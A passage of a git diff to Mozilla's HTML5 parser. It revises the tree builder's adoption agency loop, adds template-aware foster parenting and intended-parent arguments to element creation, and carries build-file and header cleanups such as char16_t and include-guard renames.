+ StackNode<T> formattingElt = listOfActiveFormattingElements[formattingEltListPos];
int formattingEltStackPos = currentPtr;
boolean inScope = true;
while (formattingEltStackPos > -1) {
@@ -4561,6 +4744,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
int furthestBlockPos = formattingEltStackPos + 1;
while (furthestBlockPos <= currentPtr) {
StackNode<T> node = stack[furthestBlockPos]; // weak ref
+ assert furthestBlockPos > 0: "How is formattingEltStackPos + 1 not > 0?"
if (node.isSpecial()) {
break;
}
@@ -4574,30 +4758,47 @@ public abstract class TreeBuilder<T> implements TokenHandler,
removeFromListOfActiveFormattingElements(formattingEltListPos);
return true;
}
- StackNode<T> commonAncestor = stack[formattingEltStackPos - 1]; // weak
- // ref
+ StackNode<T> commonAncestor = stack[formattingEltStackPos - 1]; // weak ref
StackNode<T> furthestBlock = stack[furthestBlockPos]; // weak ref
// detachFromParent(furthestBlock.node); XXX AAA CHANGE
int bookmark = formattingEltListPos;
int nodePos = furthestBlockPos;
StackNode<T> lastNode = furthestBlock; // weak ref
- for (int j = 0; j < 3; ++j) {
+ int j = 0;
+ for (;;) {
+ ++j;
nodePos--;
+ if (nodePos == formattingEltStackPos) {
+ break;
+ }
StackNode<T> node = stack[nodePos]; // weak ref
int nodeListPos = findInListOfActiveFormattingElements(node);
+
+ if (j > 3 && nodeListPos != -1) {
+ removeFromListOfActiveFormattingElements(nodeListPos);
+
+ // Adjust the indices into the list to account
+ // for the removal of nodeListPos.
+ if (nodeListPos <= formattingEltListPos) {
+ formattingEltListPos--;
+ }
+ if (nodeListPos <= bookmark) {
+ bookmark--;
+ }
+
+ // Update position to reflect removal from list.
+ nodeListPos = -1;
+ }
+
if (nodeListPos == -1) {
assert formattingEltStackPos < nodePos;
assert bookmark < nodePos;
assert furthestBlockPos > nodePos;
- removeFromStack(nodePos); // node is now a bad pointer in
- // C++
+ removeFromStack(nodePos); // node is now a bad pointer in C++
furthestBlockPos--;
continue;
}
// now node is both on stack and in the list
- if (nodePos == formattingEltStackPos) {
- break;
- }
if (nodePos == furthestBlockPos) {
bookmark = nodeListPos + 1;
}
@@ -4605,17 +4806,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
assert node == listOfActiveFormattingElements[nodeListPos];
assert node == stack[nodePos];
T clone = createElement("http://www.w3.org/1999/xhtml",
- node.name, node.attributes.cloneAttributes(null));
+ node.name, node.attributes.cloneAttributes(null), commonAncestor.node);
StackNode<T> newNode = new StackNode<T>(node.getFlags(), node.ns,
node.name, clone, node.popName, node.attributes
// [NOCPP[
, node.getLocator()
- // ]NOCPP]
- ); // creation
- // ownership
- // goes
- // to
- // stack
+ // ]NOCPP]
+ ); // creation ownership goes to stack
node.dropAttributes(); // adopt ownership to newNode
stack[nodePos] = newNode;
newNode.retain(); // retain for list
@@ -4638,19 +4835,15 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
T clone = createElement("http://www.w3.org/1999/xhtml",
formattingElt.name,
- formattingElt.attributes.cloneAttributes(null));
+ formattingElt.attributes.cloneAttributes(null), furthestBlock.node);
StackNode<T> formattingClone = new StackNode<T>(
formattingElt.getFlags(), formattingElt.ns,
formattingElt.name, clone, formattingElt.popName,
formattingElt.attributes
// [NOCPP[
, errorHandler == null ? null : new TaintableLocatorImpl(tokenizer)
- // ]NOCPP]
- ); // Ownership
- // transfers
- // to
- // stack
- // below
+ // ]NOCPP]
+ ); // Ownership transfers to stack below
formattingElt.dropAttributes(); // transfer ownership to
// formattingClone
appendChildrenToNewParent(furthestBlock.node, clone);
@@ -4737,7 +4930,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLastOrRoot(@Local String name) {
for (int i = currentPtr; i > 0; i--) {
- if (stack[i].name == name) {
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml" && stack[i].name == name) {
return i;
}
}
@@ -4784,7 +4977,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private void pushHeadPointerOntoStack() throws SAXException {
assert headPointer != null;
- assert !fragment;
assert mode == AFTER_HEAD;
fatal();
silentPush(new StackNode<T>(ElementName.HEAD, headPointer
@@ -4822,22 +5014,28 @@ public abstract class TreeBuilder<T> implements TokenHandler,
while (entryPos < listPtr) {
entryPos++;
StackNode<T> entry = listOfActiveFormattingElements[entryPos];
- T clone = createElement("http://www.w3.org/1999/xhtml", entry.name,
- entry.attributes.cloneAttributes(null));
+ StackNode<T> currentNode = stack[currentPtr];
+
+ T clone;
+ if (currentNode.isFosterParenting()) {
+ clone = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", entry.name,
+ entry.attributes.cloneAttributes(null));
+ } else {
+ clone = createElement("http://www.w3.org/1999/xhtml", entry.name,
+ entry.attributes.cloneAttributes(null), currentNode.node);
+ appendElement(clone, currentNode.node);
+ }
+
StackNode<T> entryClone = new StackNode<T>(entry.getFlags(),
entry.ns, entry.name, clone, entry.popName,
entry.attributes
// [NOCPP[
, entry.getLocator()
- // ]NOCPP]
+ // ]NOCPP]
);
+
entry.dropAttributes(); // transfer ownership to entryClone
- StackNode<T> currentNode = stack[currentPtr];
- if (currentNode.isFosterParenting()) {
- insertIntoFosterParent(clone);
- } else {
- appendElement(clone, currentNode.node);
- }
+
push(entryClone);
// stack takes ownership of the local variable
listOfActiveFormattingElements[entryPos] = entryClone;
@@ -4860,6 +5058,26 @@ public abstract class TreeBuilder<T> implements TokenHandler,
insertFosterParentedChild(child, node.node, stack[tablePos - 1].node);
}
+ private T createAndInsertFosterParentedElement(@NsUri String ns, @Local String name,
+ HtmlAttributes attributes) throws SAXException {
+ return createAndInsertFosterParentedElement(ns, name, attributes, null);
+ }
+
+ private T createAndInsertFosterParentedElement(@NsUri String ns, @Local String name,
+ HtmlAttributes attributes, T form) throws SAXException {
+ int tablePos = findLastOrRoot(TreeBuilder.TABLE);
+ int templatePos = findLastOrRoot(TreeBuilder.TEMPLATE);
+
+ if (templatePos >= tablePos) {
+ T child = createElement(ns, name, attributes, form, stack[templatePos].node);
+ appendElement(child, stack[templatePos].node);
+ return child;
+ }
+
+ StackNode<T> node = stack[tablePos];
+ return createAndInsertFosterParentedElement(ns, name, attributes, form, node.node, stack[tablePos - 1].node);
+ }
+
private boolean isInStack(StackNode<T> node) {
for (int i = currentPtr; i >= 0; i--) {
if (stack[i] == node) {
@@ -5014,9 +5232,9 @@ public abstract class TreeBuilder<T> implements TokenHandler,
// [NOCPP[
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
- T elt = createElement("http://www.w3.org/1999/xhtml", "head",
- attributes);
- appendElement(elt, stack[currentPtr].node);
+ T currentNode = stack[currentPtr].node;
+ T elt = createElement("http://www.w3.org/1999/xhtml", "head", attributes, currentNode);
+ appendElement(elt, currentNode);
headPointer = elt;
StackNode<T> node = new StackNode<T>(ElementName.HEAD,
elt
@@ -5042,21 +5260,26 @@ public abstract class TreeBuilder<T> implements TokenHandler,
// [NOCPP[
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
- T elt = createElement("http://www.w3.org/1999/xhtml", "form",
- attributes);
- formPointer = elt;
+
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", "form", attributes);
} else {
+ elt = createElement("http://www.w3.org/1999/xhtml", "form", attributes, current.node);
appendElement(elt, current.node);
}
+
+ if (!isTemplateContents()) {
+ formPointer = elt;
+ }
+
StackNode<T> node = new StackNode<T>(ElementName.FORM,
elt
// [NOCPP[
, errorHandler == null ? null : new TaintableLocatorImpl(tokenizer)
- // ]NOCPP]
+ // ]NOCPP]
);
push(node);
}
@@ -5068,15 +5291,19 @@ public abstract class TreeBuilder<T> implements TokenHandler,
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
// This method can't be called for custom elements
- T elt = createElement("http://www.w3.org/1999/xhtml", elementName.name, attributes);
+ HtmlAttributes clone = attributes.cloneAttributes(null);
+ // Attributes must not be read after calling createElement, because
+ // createElement may delete attributes in C++.
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", elementName.name, attributes);
} else {
+ elt = createElement("http://www.w3.org/1999/xhtml", elementName.name, attributes, current.node);
appendElement(elt, current.node);
}
- StackNode<T> node = new StackNode<T>(elementName, elt, attributes.cloneAttributes(null)
+ StackNode<T> node = new StackNode<T>(elementName, elt, clone
// [NOCPP[
, errorHandler == null ? null : new TaintableLocatorImpl(tokenizer)
// ]NOCPP]
@@ -5093,8 +5320,9 @@ public abstract class TreeBuilder<T> implements TokenHandler,
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
// This method can't be called for custom elements
- T elt = createElement("http://www.w3.org/1999/xhtml", elementName.name, attributes);
- appendElement(elt, stack[currentPtr].node);
+ T currentNode = stack[currentPtr].node;
+ T elt = createElement("http://www.w3.org/1999/xhtml", elementName.name, attributes, currentNode);
+ appendElement(elt, currentNode);
if (ElementName.TEMPLATE == elementName) {
elt = getDocumentFragmentForTemplate(elt);
}
@@ -5116,12 +5344,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popName = checkPopName(popName);
}
// ]NOCPP]
- T elt = createElement("http://www.w3.org/1999/xhtml", popName, attributes);
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", popName, attributes);
} else {
+ elt = createElement("http://www.w3.org/1999/xhtml", popName, attributes, current.node);
appendElement(elt, current.node);
}
StackNode<T> node = new StackNode<T>(elementName, elt, popName
@@ -5142,20 +5371,22 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popName = checkPopName(popName);
}
// ]NOCPP]
- T elt = createElement("http://www.w3.org/1998/Math/MathML", popName,
- attributes);
+ boolean markAsHtmlIntegrationPoint = false;
+ if (ElementName.ANNOTATION_XML == elementName
+ && annotationXmlEncodingPermitsHtml(attributes)) {
+ markAsHtmlIntegrationPoint = true;
+ }
+ // Attributes must not be read after calling createElement(), since
+ // createElement may delete the object in C++.
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1998/Math/MathML", popName, attributes);
} else {
+ elt = createElement("http://www.w3.org/1998/Math/MathML", popName, attributes, current.node);
appendElement(elt, current.node);
}
- boolean markAsHtmlIntegrationPoint = false;
- if (ElementName.ANNOTATION_XML == elementName
- && annotationXmlEncodingPermitsHtml(attributes)) {
- markAsHtmlIntegrationPoint = true;
- }
StackNode<T> node = new StackNode<T>(elementName, elt, popName,
markAsHtmlIntegrationPoint
// [NOCPP[
@@ -5169,6 +5400,10 @@ public abstract class TreeBuilder<T> implements TokenHandler,
T getDocumentFragmentForTemplate(T template) {
return template;
}
+
+ T getFormPointerForContext(T context) {
+ return null;
+ }
// ]NOCPP]
private boolean annotationXmlEncodingPermitsHtml(HtmlAttributes attributes) {
@@ -5192,12 +5427,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popName = checkPopName(popName);
}
// ]NOCPP]
- T elt = createElement("http://www.w3.org/2000/svg", popName, attributes);
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/2000/svg", popName, attributes);
} else {
+ elt = createElement("http://www.w3.org/2000/svg", popName, attributes, current.node);
appendElement(elt, current.node);
}
StackNode<T> node = new StackNode<T>(elementName, popName, elt
@@ -5215,13 +5451,16 @@ public abstract class TreeBuilder<T> implements TokenHandler,
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
// Can't be called for custom elements
- T elt = createElement("http://www.w3.org/1999/xhtml", elementName.name, attributes, fragment ? null
- : form);
+ T elt;
+ T formOwner = form == null || fragment || isTemplateContents() ? null : form;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", elementName.name,
+ attributes, formOwner);
} else {
+ elt = createElement("http://www.w3.org/1999/xhtml", elementName.name,
+ attributes, formOwner, current.node);
appendElement(elt, current.node);
}
StackNode<T> node = new StackNode<T>(elementName, elt
@@ -5238,12 +5477,16 @@ public abstract class TreeBuilder<T> implements TokenHandler,
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
// Can't be called for custom elements
- T elt = createElement("http://www.w3.org/1999/xhtml", name, attributes, fragment ? null : form);
+ T elt;
+ T formOwner = form == null || fragment || isTemplateContents() ? null : form;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", name,
+ attributes, formOwner);
} else {
+ elt = createElement("http://www.w3.org/1999/xhtml", name,
+ attributes, formOwner, current.node);
appendElement(elt, current.node);
}
elementPushed("http://www.w3.org/1999/xhtml", name, elt);
@@ -5260,12 +5503,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popName = checkPopName(popName);
}
// ]NOCPP]
- T elt = createElement("http://www.w3.org/1999/xhtml", popName, attributes);
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1999/xhtml", popName, attributes);
} else {
+ elt = createElement("http://www.w3.org/1999/xhtml", popName, attributes, current.node);
appendElement(elt, current.node);
}
elementPushed("http://www.w3.org/1999/xhtml", popName, elt);
@@ -5282,12 +5526,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popName = checkPopName(popName);
}
// ]NOCPP]
- T elt = createElement("http://www.w3.org/2000/svg", popName, attributes);
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/2000/svg", popName, attributes);
} else {
+ elt = createElement("http://www.w3.org/2000/svg", popName, attributes, current.node);
appendElement(elt, current.node);
}
elementPushed("http://www.w3.org/2000/svg", popName, elt);
@@ -5304,12 +5549,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popName = checkPopName(popName);
}
// ]NOCPP]
- T elt = createElement("http://www.w3.org/1998/Math/MathML", popName, attributes);
+ T elt;
StackNode<T> current = stack[currentPtr];
if (current.isFosterParenting()) {
fatal();
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement("http://www.w3.org/1998/Math/MathML", popName, attributes);
} else {
+ elt = createElement("http://www.w3.org/1998/Math/MathML", popName, attributes, current.node);
appendElement(elt, current.node);
}
elementPushed("http://www.w3.org/1998/Math/MathML", popName, elt);
@@ -5322,9 +5568,10 @@ public abstract class TreeBuilder<T> implements TokenHandler,
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
// Can't be called for custom elements
- T elt = createElement("http://www.w3.org/1999/xhtml", name, attributes, fragment ? null : form);
- StackNode<T> current = stack[currentPtr];
- appendElement(elt, current.node);
+ T currentNode = stack[currentPtr].node;
+ T elt = createElement("http://www.w3.org/1999/xhtml", name, attributes,
+ form == null || fragment || isTemplateContents() ? null : form, currentNode);
+ appendElement(elt, currentNode);
elementPushed("http://www.w3.org/1999/xhtml", name, elt);
elementPopped("http://www.w3.org/1999/xhtml", name, elt);
}
@@ -5333,12 +5580,12 @@ public abstract class TreeBuilder<T> implements TokenHandler,
// [NOCPP[
checkAttributes(attributes, "http://www.w3.org/1999/xhtml");
// ]NOCPP]
+ T currentNode = stack[currentPtr].node;
T elt = createElement("http://www.w3.org/1999/xhtml", "form",
- attributes);
+ attributes, currentNode);
formPointer = elt;
// ownership transferred to form pointer
- StackNode<T> current = stack[currentPtr];
- appendElement(elt, current.node);
+ appendElement(elt, currentNode);
elementPushed("http://www.w3.org/1999/xhtml", "form", elt);
elementPopped("http://www.w3.org/1999/xhtml", "form", elt);
}
@@ -5371,11 +5618,11 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
protected abstract T createElement(@NsUri String ns, @Local String name,
- HtmlAttributes attributes) throws SAXException;
+ HtmlAttributes attributes, T intendedParent) throws SAXException;
protected T createElement(@NsUri String ns, @Local String name,
- HtmlAttributes attributes, T form) throws SAXException {
- return createElement("http://www.w3.org/1999/xhtml", name, attributes);
+ HtmlAttributes attributes, T form, T intendedParent) throws SAXException {
+ return createElement("http://www.w3.org/1999/xhtml", name, attributes, intendedParent);
}
protected abstract T createHtmlElementSetAsRoot(HtmlAttributes attributes)
@@ -5394,6 +5641,20 @@ public abstract class TreeBuilder<T> implements TokenHandler,
protected abstract void insertFosterParentedChild(T child, T table,
T stackParent) throws SAXException;
+ // We don't generate CPP code for this method because it is not used in generated CPP
+ // code. Instead, the form owner version of this method is called with a null form owner.
+ // [NOCPP[
+
+ protected abstract T createAndInsertFosterParentedElement(@NsUri String ns, @Local String name,
+ HtmlAttributes attributes, T table, T stackParent) throws SAXException;
+
+ // ]NOCPP]
+
+ protected T createAndInsertFosterParentedElement(@NsUri String ns, @Local String name,
+ HtmlAttributes attributes, T form, T table, T stackParent) throws SAXException {
+ return createAndInsertFosterParentedElement(ns, name, attributes, table, stackParent);
+ };
+
protected abstract void insertFosterParentedCharacters(
@NoLength char[] buf, int start, int length, T table, T stackParent)
throws SAXException;
@@ -5519,6 +5780,15 @@ public abstract class TreeBuilder<T> implements TokenHandler,
*/
public final void setFragmentContext(@Local String context,
@NsUri String ns, T node, boolean quirks) {
+ // [NOCPP[
+ if (!((context == null && ns == null)
+ || "http://www.w3.org/1999/xhtml" == ns
+ || "http://www.w3.org/2000/svg" == ns || "http://www.w3.org/1998/Math/MathML" == ns)) {
+ throw new IllegalArgumentException(
+ "The namespace must be the HTML, SVG or MathML namespace (or null when the local name is null). Got: "
+ + ns);
+ }
+ // ]NOCPP]
this.contextName = context;
this.contextNamespace = ns;
this.contextNode = node;
@@ -5608,16 +5878,19 @@ public abstract class TreeBuilder<T> implements TokenHandler,
charBufferLen = 0;
return;
}
- int eltPos = findLastOrRoot(TreeBuilder.TABLE);
- StackNode<T> node = stack[eltPos];
- T elt = node.node;
- if (eltPos == 0) {
- appendCharacters(elt, charBuffer, 0, charBufferLen);
+
+ int tablePos = findLastOrRoot(TreeBuilder.TABLE);
+ int templatePos = findLastOrRoot(TreeBuilder.TEMPLATE);
+
+ if (templatePos >= tablePos) {
+ appendCharacters(stack[templatePos].node, charBuffer, 0, charBufferLen);
charBufferLen = 0;
return;
}
+
+ StackNode<T> tableElt = stack[tablePos];
insertFosterParentedCharacters(charBuffer, 0, charBufferLen,
- elt, stack[eltPos - 1].node);
+ tableElt.node, stack[tablePos - 1].node);
charBufferLen = 0;
return;
}
diff --git a/parser/html/moz.build b/parser/html/moz.build
index c25df5b70..591a1ba75 100644
--- a/parser/html/moz.build
+++ b/parser/html/moz.build
@@ -9,7 +9,7 @@ XPIDL_SOURCES += [
'nsIScriptableUnescapeHTML.idl',
]
-MODULE = 'html5'
+XPIDL_MODULE = 'html5'
EXPORTS += [
'jArray.h',
@@ -17,10 +17,11 @@ EXPORTS += [
'nsAHtml5TreeOpSink.h',
'nsHtml5ArrayCopy.h',
'nsHtml5AtomList.h',
- 'nsHtml5AtomTable.h',
'nsHtml5Atoms.h',
+ 'nsHtml5AtomTable.h',
'nsHtml5ByteReadable.h',
'nsHtml5DependentUTF16Buffer.h',
+ 'nsHtml5DocumentBuilder.h',
'nsHtml5DocumentMode.h',
'nsHtml5HtmlAttributes.h',
'nsHtml5Macros.h',
@@ -29,29 +30,34 @@ EXPORTS += [
'nsHtml5Module.h',
'nsHtml5NamedCharacters.h',
'nsHtml5NamedCharactersAccel.h',
+ 'nsHtml5OplessBuilder.h',
'nsHtml5OwningUTF16Buffer.h',
'nsHtml5Parser.h',
'nsHtml5PlainTextUtils.h',
- 'nsHtml5SVGLoadDispatcher.h',
+ 'nsHtml5RefPtr.h',
'nsHtml5Speculation.h',
'nsHtml5SpeculativeLoad.h',
+ 'nsHtml5StreamListener.h',
'nsHtml5StreamParser.h',
'nsHtml5StringParser.h',
+ 'nsHtml5SVGLoadDispatcher.h',
+ 'nsHtml5TreeOperation.h',
'nsHtml5TreeOpExecutor.h',
'nsHtml5TreeOpStage.h',
- 'nsHtml5TreeOperation.h',
'nsHtml5UTF16Buffer.h',
'nsHtml5UTF16BufferHSupplement.h',
'nsHtml5ViewSourceUtils.h',
+ 'nsIContentHandle.h',
'nsParserUtils.h',
]
-CPP_SOURCES += [
+UNIFIED_SOURCES += [
'nsHtml5Atom.cpp',
- 'nsHtml5AtomTable.cpp',
'nsHtml5Atoms.cpp',
+ 'nsHtml5AtomTable.cpp',
'nsHtml5AttributeName.cpp',
'nsHtml5DependentUTF16Buffer.cpp',
+ 'nsHtml5DocumentBuilder.cpp',
'nsHtml5ElementName.cpp',
'nsHtml5Highlighter.cpp',
'nsHtml5HtmlAttributes.cpp',
@@ -59,28 +65,39 @@ CPP_SOURCES += [
'nsHtml5Module.cpp',
'nsHtml5NamedCharacters.cpp',
'nsHtml5NamedCharactersAccel.cpp',
+ 'nsHtml5OplessBuilder.cpp',
'nsHtml5OwningUTF16Buffer.cpp',
'nsHtml5Parser.cpp',
'nsHtml5PlainTextUtils.cpp',
'nsHtml5Portability.cpp',
'nsHtml5ReleasableAttributeName.cpp',
'nsHtml5ReleasableElementName.cpp',
- 'nsHtml5SVGLoadDispatcher.cpp',
'nsHtml5Speculation.cpp',
'nsHtml5SpeculativeLoad.cpp',
'nsHtml5StackNode.cpp',
'nsHtml5StateSnapshot.cpp',
+ 'nsHtml5StreamListener.cpp',
'nsHtml5StreamParser.cpp',
'nsHtml5StringParser.cpp',
+ 'nsHtml5SVGLoadDispatcher.cpp',
'nsHtml5Tokenizer.cpp',
'nsHtml5TreeBuilder.cpp',
+ 'nsHtml5TreeOperation.cpp',
'nsHtml5TreeOpExecutor.cpp',
'nsHtml5TreeOpStage.cpp',
- 'nsHtml5TreeOperation.cpp',
'nsHtml5UTF16Buffer.cpp',
'nsHtml5ViewSourceUtils.cpp',
'nsParserUtils.cpp',
]
-LIBRARY_NAME = 'html5p_s'
+MSVC_ENABLE_PGO = True
+
+FINAL_LIBRARY = 'xul'
+
+# DEFINES['ENABLE_VOID_MENUITEM'] = True
+
+LOCAL_INCLUDES += [
+ '/dom/base',
+]
+FAIL_ON_WARNINGS = True
diff --git a/parser/html/nsAHtml5TreeBuilderState.h b/parser/html/nsAHtml5TreeBuilderState.h
index fd1449c75..f5fb4e2bd 100644
--- a/parser/html/nsAHtml5TreeBuilderState.h
+++ b/parser/html/nsAHtml5TreeBuilderState.h
@@ -2,8 +2,10 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsAHtml5TreeBuilderState_h___
-#define nsAHtml5TreeBuilderState_h___
+#ifndef nsAHtml5TreeBuilderState_h
+#define nsAHtml5TreeBuilderState_h
+
+#include "nsIContentHandle.h"
/**
* Interface for exposing the internal state of the HTML5 tree builder.
@@ -25,11 +27,11 @@ class nsAHtml5TreeBuilderState {
virtual int32_t getTemplateModeStackLength() = 0;
- virtual nsIContent** getFormPointer() = 0;
+ virtual nsIContentHandle* getFormPointer() = 0;
- virtual nsIContent** getHeadPointer() = 0;
+ virtual nsIContentHandle* getHeadPointer() = 0;
- virtual nsIContent** getDeepTreeSurrogateParent() = 0;
+ virtual nsIContentHandle* getDeepTreeSurrogateParent() = 0;
virtual int32_t getMode() = 0;
@@ -45,4 +47,4 @@ class nsAHtml5TreeBuilderState {
}
};
-#endif /* nsAHtml5TreeBuilderState_h___ */
+#endif /* nsAHtml5TreeBuilderState_h */
diff --git a/parser/html/nsAHtml5TreeOpSink.h b/parser/html/nsAHtml5TreeOpSink.h
index e3f62063f..f3d10c4d4 100644
--- a/parser/html/nsAHtml5TreeOpSink.h
+++ b/parser/html/nsAHtml5TreeOpSink.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsAHtml5TreeOpSink_h___
-#define nsAHtml5TreeOpSink_h___
+#ifndef nsAHtml5TreeOpSink_h
+#define nsAHtml5TreeOpSink_h
/**
* The purpose of this interface is to connect a tree op executor
@@ -21,4 +21,4 @@ class nsAHtml5TreeOpSink {
};
-#endif /* nsAHtml5TreeOpSink_h___ */
+#endif /* nsAHtml5TreeOpSink_h */
diff --git a/parser/html/nsHtml5ArrayCopy.h b/parser/html/nsHtml5ArrayCopy.h
index 816a0b852..e74602cd0 100644
--- a/parser/html/nsHtml5ArrayCopy.h
+++ b/parser/html/nsHtml5ArrayCopy.h
@@ -20,10 +20,9 @@
* DEALINGS IN THE SOFTWARE.
*/
-#ifndef nsHtml5ArrayCopy_h__
-#define nsHtml5ArrayCopy_h__
+#ifndef nsHtml5ArrayCopy_h
+#define nsHtml5ArrayCopy_h
-#include "prtypes.h"
class nsString;
class nsHtml5StackNode;
@@ -35,15 +34,15 @@ class nsHtml5ArrayCopy {
public:
static inline void
- arraycopy(PRUnichar* source, int32_t sourceOffset, PRUnichar* target, int32_t targetOffset, int32_t length)
+ arraycopy(char16_t* source, int32_t sourceOffset, char16_t* target, int32_t targetOffset, int32_t length)
{
- memcpy(&(target[targetOffset]), &(source[sourceOffset]), length * sizeof(PRUnichar));
+ memcpy(&(target[targetOffset]), &(source[sourceOffset]), length * sizeof(char16_t));
}
static inline void
- arraycopy(PRUnichar* source, PRUnichar* target, int32_t length)
+ arraycopy(char16_t* source, char16_t* target, int32_t length)
{
- memcpy(target, source, length * sizeof(PRUnichar));
+ memcpy(target, source, length * sizeof(char16_t));
}
static inline void
@@ -76,4 +75,4 @@ class nsHtml5ArrayCopy {
memmove(&(arr[targetOffset]), &(arr[sourceOffset]), length * sizeof(nsHtml5StackNode*));
}
};
-#endif // nsHtml5ArrayCopy_h__
+#endif // nsHtml5ArrayCopy_h
diff --git a/parser/html/nsHtml5Atom.cpp b/parser/html/nsHtml5Atom.cpp
index bb8d062ad..8166f89cd 100644
--- a/parser/html/nsHtml5Atom.cpp
+++ b/parser/html/nsHtml5Atom.cpp
@@ -4,27 +4,28 @@
#include "nsHtml5Atom.h"
#include "nsAutoPtr.h"
+#include "mozilla/unused.h"
nsHtml5Atom::nsHtml5Atom(const nsAString& aString)
{
mLength = aString.Length();
nsRefPtr<nsStringBuffer> buf = nsStringBuffer::FromString(aString);
if (buf) {
- mString = static_cast<PRUnichar*>(buf->Data());
+ mString = static_cast<char16_t*>(buf->Data());
} else {
- buf = nsStringBuffer::Alloc((mLength + 1) * sizeof(PRUnichar));
- mString = static_cast<PRUnichar*>(buf->Data());
+ buf = nsStringBuffer::Alloc((mLength + 1) * sizeof(char16_t));
+ mString = static_cast<char16_t*>(buf->Data());
CopyUnicodeTo(aString, 0, mString, mLength);
- mString[mLength] = PRUnichar(0);
+ mString[mLength] = char16_t(0);
}
- NS_ASSERTION(mString[mLength] == PRUnichar(0), "null terminated");
- NS_ASSERTION(buf && buf->StorageSize() >= (mLength+1) * sizeof(PRUnichar),
+ NS_ASSERTION(mString[mLength] == char16_t(0), "null terminated");
+ NS_ASSERTION(buf && buf->StorageSize() >= (mLength+1) * sizeof(char16_t),
"enough storage");
NS_ASSERTION(Equals(aString), "correct data");
// Take ownership of buffer
- buf.forget();
+ mozilla::unused << buf.forget();
}
nsHtml5Atom::~nsHtml5Atom()
@@ -32,14 +33,14 @@ nsHtml5Atom::~nsHtml5Atom()
nsStringBuffer::FromData(mString)->Release();
}
-NS_IMETHODIMP_(nsrefcnt)
+NS_IMETHODIMP_(MozExternalRefCountType)
nsHtml5Atom::AddRef()
{
NS_NOTREACHED("Attempt to AddRef an nsHtml5Atom.");
return 2;
}
-NS_IMETHODIMP_(nsrefcnt)
+NS_IMETHODIMP_(MozExternalRefCountType)
nsHtml5Atom::Release()
{
NS_NOTREACHED("Attempt to Release an nsHtml5Atom.");
diff --git a/parser/html/nsHtml5Atom.h b/parser/html/nsHtml5Atom.h
index e12498b50..c11fb0bad 100644
--- a/parser/html/nsHtml5Atom.h
+++ b/parser/html/nsHtml5Atom.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5Atom_h_
-#define nsHtml5Atom_h_
+#ifndef nsHtml5Atom_h
+#define nsHtml5Atom_h
#include "nsIAtom.h"
#include "mozilla/Attributes.h"
@@ -15,14 +15,14 @@
*
* Usage is documented in nsHtml5AtomTable and nsIAtom.
*/
-class nsHtml5Atom MOZ_FINAL : public nsIAtom
+class nsHtml5Atom final : public nsIAtom
{
public:
NS_DECL_ISUPPORTS
NS_DECL_NSIATOM
- nsHtml5Atom(const nsAString& aString);
+ explicit nsHtml5Atom(const nsAString& aString);
~nsHtml5Atom();
};
-#endif // nsHtml5Atom_h_
+#endif // nsHtml5Atom_h
diff --git a/parser/html/nsHtml5AtomList.h b/parser/html/nsHtml5AtomList.h
index 3e778010d..fc6a892e9 100644
--- a/parser/html/nsHtml5AtomList.h
+++ b/parser/html/nsHtml5AtomList.h
@@ -21,8 +21,16 @@
*/
HTML5_ATOM(emptystring, "")
-HTML5_ATOM(template_, "template")
HTML5_ATOM(title, "title")
